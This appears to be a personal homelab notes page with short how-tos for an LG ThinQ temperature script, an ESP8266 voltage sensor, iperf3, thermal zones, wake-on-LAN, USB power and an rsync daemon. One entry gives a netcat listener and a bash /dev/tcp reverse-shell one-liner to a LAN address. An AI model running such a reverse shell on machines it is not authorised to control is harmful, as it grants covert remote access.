Get indoor temperature from your LG AC WIFI

  • Install the pythinqconnect package
 pip3 install git+https://github.com/thinq-connect/pythinqconnect.git --break-system-packages
  • Get PAT token generated
https://connect-pat.lgthinq.com/tokens
  • Get Device id
import asyncio
from aiohttp import ClientSession
# Assuming a library structure like pythinqconnect
from thinqconnect.thinq_api import ThinQApi 

############## Get device ID ###############
async def test_devices_list():
    # Setup your credentials and personal access token (PAT)
    async with ClientSession() as session:
        thinq_api = ThinQApi(
            session=session, 
            access_token='PAT',
            country_code='',  # Example: US, KR, NL
            client_id='your_client_id'
        )
        # Fetch device list
        response = await thinq_api.async_get_device_list()
        print("device_list : %s", response)

# Run the async function
asyncio.run(test_devices_list())
  • Get temp
async def get_indoor_temperature_c():
    async with ClientSession() as session:
        api = ThinQApi(
            session=session,
            access_token="PAT",
            country_code="",
            client_id="YOUR_CLIENT_ID"
        )

        status = await api.async_get_device_status(DEVICE_ID)

        temp_c = status["temperature"]["currentTemperature"]

        print(temp_c)
        return temp_c

asyncio.run(get_indoor_temperature_c())
@home:~/Downloads/c$ python3 lg.py 
29.5

https://smartsolution.developer.lge.com/en/apiManage/device_profile?s=1734593490507#tag/overview

https://github.com/thinq-connect/pythinqconnect/tree/main

Reverse Shell with netcat and bash

This is un-encrypted connection

home@home:~$  netcat -v -l -p 3333
Listening on 0.0.0.0 3333
	Connection received on 192.168.122.45 44502
root@openmediavault:~# w
w
 14:20:28 up 6 min,  1 user,  load average: 0.04, 0.04, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1     -                14:14   20.00s  0.14s  0.01s w


######### On remote host(shell access you want)##########

bash -i >& /dev/tcp/192.168.0.10/8080 0>&1


Node 8266 EPS – voltage sensor – pushgateway

#include <ESP8266WiFi.h>
#include <ESP8266HTTPClient.h>

// WiFi credentials
const char* ssid = "SSID";
const char* password = "PASS";

// Prometheus Pushgateway
const char* pushgatewayHost = "https://pushgateway.example.com/metrics/job/voltage_monitor/instance/node-8266/sensor/voltage";



// Voltage divider resistors
const float R1 = 29000.0;
const float R2 = 7500.0;

// ADC config
const float ADC_RESOLUTION = 1023.0;
const float REF_VOLTAGE = 3.3;  // Adjust depending on your board
float previousVoltage = -1.0; 

void setup() {
  Serial.begin(115200);
  delay(1000);

  WiFi.begin(ssid, password);
  Serial.print("Connecting to WiFi");
  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }
  Serial.println("\nConnected!");
}

void loop() {
  float voltage = readVoltage();
  if (abs(voltage - previousVoltage) > 0.01) {  // send only if change > 10 mV
    sendToPrometheus(voltage);
    previousVoltage = voltage;
  } else {
    Serial.println("⚠️ Voltage unchanged. Skipping Pushgateway update.");
  }
  delay(20000);  // Send every 20 seconds
}

float readVoltage() {
  int adcValue = analogRead(A0);
  float vOut = (adcValue / ADC_RESOLUTION) * REF_VOLTAGE;
  float vIn = vOut * ((R1 + R2) / R2);
  Serial.print("Measured Voltage: ");
  Serial.println(vIn, 3);
  return vIn;
}

void sendToPrometheus(float voltage) {
  if (WiFi.status() != WL_CONNECTED) {
    Serial.println("WiFi not connected!");
    return;
  }
  //WiFiClient client; // for http
  //HTTPClient http;
  WiFiClientSecure client;
  client.setInsecure();
  HTTPClient http;

  String metrics = "voltage_sensor " + String(voltage, 3) + "\n";
  String url = String(pushgatewayHost) ;

  // Encode Basic Auth manually
  String base64Credentials = "Base64encoded Creds";
  String authHeader = "Basic " + base64Credentials;
  http.begin(client, url);
  http.addHeader("Content-Type", "text/plain");
  http.addHeader("Authorization", authHeader);

  int httpCode = http.POST(metrics);
  if (httpCode > 0) {
    Serial.printf("Pushgateway Response: %d\n", httpCode);
  } else {
    Serial.printf("Failed to send data: %s\n", http.errorToString(httpCode).c_str());
  }

  http.end();
}

check LAN max speed- iperf3

apt install iperf3

#on server 192.168.0.10
iperf -s


#on client
iperf -c 192.168.0.10


root@lp-arm-3:~# iperf3 -c 192.168.0.10
Connecting to host 192.168.0.10, port 5201
[  5] local 192.168.0. port 50976 connected to 192.168.0.10
port 5201
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  11.4 MBytes  95.6 Mbits/sec  248   48.1 KBytes       
[  5]   1.00-2.00   sec  10.9 MBytes  91.2 Mbits/sec  260   38.2 KBytes       
[  5]   2.00-3.00   sec  10.9 MBytes  91.7 Mbits/sec  251   38.2 KBytes       
[  5]   3.00-4.00   sec  11.2 MBytes  93.8 Mbits/sec  245   48.1 KBytes       
[  5]   4.00-5.00   sec  10.8 MBytes  90.7 Mbits/sec  277   36.8 KBytes       
[  5]   5.00-6.00   sec  11.3 MBytes  94.9 Mbits/sec  247   38.2 KBytes       
[  5]   6.00-7.00   sec  11.1 MBytes  92.8 Mbits/sec  231   52.3 KBytes       
[  5]   7.00-8.00   sec  10.9 MBytes  91.7 Mbits/sec  260   46.7 KBytes       
[  5]   8.00-9.00   sec  10.8 MBytes  90.7 Mbits/sec  241   50.9 KBytes       
[  5]   9.00-10.00  sec  10.9 MBytes  91.7 Mbits/sec  245   46.7 KBytes       
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   110 MBytes  92.5 Mbits/sec  2505             sender
[  5]   0.00-10.05  sec   110 MBytes  91.9 Mbits/sec                  receiver

iperf Done.

Ref- https://www.jeffgeerling.com/blog/2025/exploring-wifi-7-2-gbps-on-raspberry-pi-5

Ubuntu – Linux thermal / temperature sensor

#!/bin/bash
cpu=$(</sys/class/thermal/thermal_zone6/temp)

cpu_temp=$(echo "$cpu/1000" | /usr/bin/bc -l)

echo "CPU_temp $cpu_temp"
root@lp-knode-2:~# cat /sys/class/thermal/thermal_zone*/type
INT3400 Thermal
SEN1
SEN2
SEN3
SEN4
SEN5
pch_cannonlake
B0D4
iwlwifi_1
x86_pkg_temp



root@lp-knode-2:~# cat /sys/class/thermal/thermal_zone*/temp
20000
41050
47050
41050
45050
50
54000
46050
48000
46000

https://askubuntu.com/questions/1110943/what-do-the-different-thermal-zones-actually-correspond-to

wake on lan – wol – ubutnu

https://help.ubuntu.com/community/WakeOnLan

apt install ethtool

ethtool eth


root@home:/home# ethtool enp3s0
Settings for enp3s0:
	Supported ports: [ TP	 MII ]
	Supported link modes:   10baseT/Half 10baseT/Full
	                        100baseT/Half 100baseT/Full
	                        1000baseT/Full
	Supported pause frame use: Symmetric Receive-only
	Supports auto-negotiation: Yes
	Supported FEC modes: Not reported
	Advertised link modes:  10baseT/Half 10baseT/Full
	                        100baseT/Half 100baseT/Full
	                        1000baseT/Full
	Advertised pause frame use: Symmetric Receive-only
	Advertised auto-negotiation: Yes
	Advertised FEC modes: Not reported
	Speed: Unknown!
	Duplex: Unknown! (255)
	Auto-negotiation: on
	master-slave cfg: preferred slave
	master-slave status: unknown
	Port: Twisted Pair
	PHYAD: 0
	Transceiver: external
	MDI-X: Unknown
	Supports Wake-on: pumbg
	Wake-on: g
	Link detected: no
wol p|u|m|b|a|g|s|d...
                  Sets Wake-on-LAN options.  Not  all  devices  support  this.
                  The argument to this option is a string of characters speci‐
                  fying which options to enable.

                  p   Wake on PHY activity
                  u   Wake on unicast messages
                  m   Wake on multicast messages
                  b   Wake on broadcast messages
                  a   Wake on ARP
                  g   Wake on MagicPacket™
                  s   Enable SecureOn™ password for MagicPacket™
                  d   Disable (wake on  nothing).   This  option
                      clears all previous options.

wake command

apt install etherwake
etherwake MAC-ADDRESS

Disable USB power in ubuntu

  • find list of usb
lsusb

ls /sys/bus/usb/devices
  • disable USB on startup
echo disabled | sudo tee /sys/bus/usb/devices/usb2/power/wakeup
  • Remove power from port
echo suspend | sudo tee /sys/bus/usb/devices/usb2/power/level
  • add power to port again
echo auto | sudo tee /sys/bus/usb/devices/usb2/power/level

https://askubuntu.com/questions/1338682/is-it-possible-to-disable-usb-port-with-known-physical-location

Let me recap for Linux >= 2.6.38: The file power/level is deprecated now; use power/control instead. (power/wakeup is ok.)

https://stackoverflow.com/questions/4702216/controlling-a-usb-power-supply-on-off-with-linux

apt install powertop
powertop

OpenMediaVault rsync – ubuntu

  • Edit the file /etc/default/rsync
RSYNC_ENABLE=inetd

#install
apt-get -y install xinetd
  • create /etc/xinetd.d/rsync
service rsync
{
    disable = no
    socket_type = stream
    wait = no
    user = root
    server = /usr/bin/rsync
    server_args = --daemon
    log_on_failure += USERID
    flags = IPv4
}
  • Create /etc/rsyncd.conf
max connections = 2
log file = /var/log/rsync.log
timeout = 300

[share]
comment = Public Share
path = /home/share
read only = no
list = yes
uid = 0
gid = 0
auth users = user
secrets file = /etc/rsyncd.secrets
cat /etc/rsyncd.secrets 

user1:user1

chmod 600 /etc/rsyncd.secrets
  • Restart
/etc/init.d/xinetd restart
  • Verify
home@home:~$ rsync user1@192.168.29.142::share
Password: 
drwxr-xr-x          4,096 2025/03/21 11:21:47 .
-rw-r--r--              0 2025/03/21 11:21:47 1.txt